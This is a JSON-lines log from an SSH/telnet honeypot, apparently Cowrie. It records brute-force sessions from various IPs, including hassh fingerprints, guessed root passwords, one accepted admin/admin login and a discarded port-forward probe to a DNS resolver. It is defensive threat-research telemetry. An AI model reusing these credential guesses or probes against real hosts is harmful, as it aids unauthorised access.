{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":31748,"dst_ip":"10.17.0.5","dst_port":22,"session":"3002e1075e5c","protocol":"ssh","message":"New connection: 87.251.64.176:31748 (10.17.0.5:22) [session: 3002e1075e5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:35:10.552331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:35:10.557153Z","src_ip":"87.251.64.176","session":"3002e1075e5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:35:10.577209Z","src_ip":"45.147.249.81","session":"ee8cd8cdcca2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:35:10.664237Z","src_ip":"87.251.64.176","session":"3002e1075e5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test12345678","message":"login attempt [root/Test12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:35:10.893233Z","src_ip":"45.147.249.81","session":"ee8cd8cdcca2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:35:10.952248Z","src_ip":"87.251.64.176","session":"3002e1075e5c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:35:11.050471Z","session":"3002e1075e5c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:35:11.148618Z","src_ip":"87.251.64.176","session":"3002e1075e5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:35:11.384739Z","src_ip":"87.251.64.176","session":"3002e1075e5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:35:11.970801Z","src_ip":"45.147.249.81","session":"ee8cd8cdcca2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.42831206321716,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:35:20.008470Z","src_ip":"135.148.14.151","session":"e04aa00246f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43388,"dst_ip":"159.203.135.109","dst_port":23,"session":"b79704177d05","protocol":"telnet","message":"New connection: 135.148.14.151:43388 (159.203.135.109:23) [session: b79704177d05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:35:20.598822Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":56978,"dst_ip":"159.203.135.109","dst_port":22,"session":"6576c20f7984","protocol":"ssh","message":"New connection: 94.159.98.239:56978 (159.203.135.109:22) [session: 6576c20f7984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:35:37.557830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:35:37.631374Z","src_ip":"94.159.98.239","session":"6576c20f7984","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:35:37.753468Z","src_ip":"94.159.98.239","session":"6576c20f7984","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"millioner","message":"login attempt [root/millioner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:35:38.338282Z","src_ip":"94.159.98.239","session":"6576c20f7984","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:35:39.499359Z","src_ip":"94.159.98.239","session":"6576c20f7984","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.203.57.2","src_port":33136,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c78ee28fd98","protocol":"ssh","message":"New connection: 103.203.57.2:33136 (10.17.0.5:22) [session: 7c78ee28fd98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:35:43.686538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:35:43.692561Z","src_ip":"103.203.57.2","session":"7c78ee28fd98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:35:43.703857Z","src_ip":"103.203.57.2","session":"7c78ee28fd98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:35:53.687167Z","src_ip":"103.203.57.2","session":"7c78ee28fd98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.79009485244751,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:35:58.388711Z","src_ip":"135.148.14.151","session":"b79704177d05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.147.249.81","src_port":53154,"dst_ip":"159.203.135.109","dst_port":22,"session":"e17eee153955","protocol":"ssh","message":"New connection: 45.147.249.81:53154 (159.203.135.109:22) [session: e17eee153955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:36:24.800383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:36:24.806021Z","src_ip":"45.147.249.81","session":"e17eee153955","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:36:24.879221Z","src_ip":"45.147.249.81","session":"e17eee153955","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123123","message":"login attempt [root/aA123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:36:25.203782Z","src_ip":"45.147.249.81","session":"e17eee153955","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:36:26.281542Z","src_ip":"45.147.249.81","session":"e17eee153955","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":56440,"dst_ip":"10.17.0.5","dst_port":22,"session":"05fd39d67b5b","protocol":"ssh","message":"New connection: 103.77.175.15:56440 (10.17.0.5:22) [session: 05fd39d67b5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:36:31.151900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:36:31.157112Z","src_ip":"103.77.175.15","session":"05fd39d67b5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:36:31.416426Z","src_ip":"103.77.175.15","session":"05fd39d67b5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01233210","message":"login attempt [root/01233210] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:36:32.450519Z","src_ip":"103.77.175.15","session":"05fd39d67b5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:36:33.712659Z","src_ip":"103.77.175.15","session":"05fd39d67b5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":39060,"dst_ip":"159.203.135.109","dst_port":22,"session":"115c55a784b0","protocol":"ssh","message":"New connection: 109.172.54.111:39060 (159.203.135.109:22) [session: 115c55a784b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:36:35.152759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:36:35.158084Z","src_ip":"109.172.54.111","session":"115c55a784b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:36:35.262388Z","src_ip":"109.172.54.111","session":"115c55a784b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kille","message":"login attempt [root/kille] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:36:35.562762Z","src_ip":"109.172.54.111","session":"115c55a784b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:36:36.665659Z","src_ip":"109.172.54.111","session":"115c55a784b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48510,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c5f6cedbc9b","protocol":"telnet","message":"New connection: 135.148.14.151:48510 (159.203.135.109:23) [session: 0c5f6cedbc9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:36:41.682115Z"}
{"eventid":"cowrie.session.closed","duration":31.73411273956299,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:37:13.416106Z","src_ip":"135.148.14.151","session":"0c5f6cedbc9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43040,"dst_ip":"159.203.135.109","dst_port":23,"session":"de1dfdebbb07","protocol":"telnet","message":"New connection: 135.148.14.151:43040 (159.203.135.109:23) [session: de1dfdebbb07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:37:25.569457Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.147.249.81","src_port":34970,"dst_ip":"159.203.135.109","dst_port":22,"session":"9db2afc46a5f","protocol":"ssh","message":"New connection: 45.147.249.81:34970 (159.203.135.109:22) [session: 9db2afc46a5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:37:40.700024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:37:40.704957Z","src_ip":"45.147.249.81","session":"9db2afc46a5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS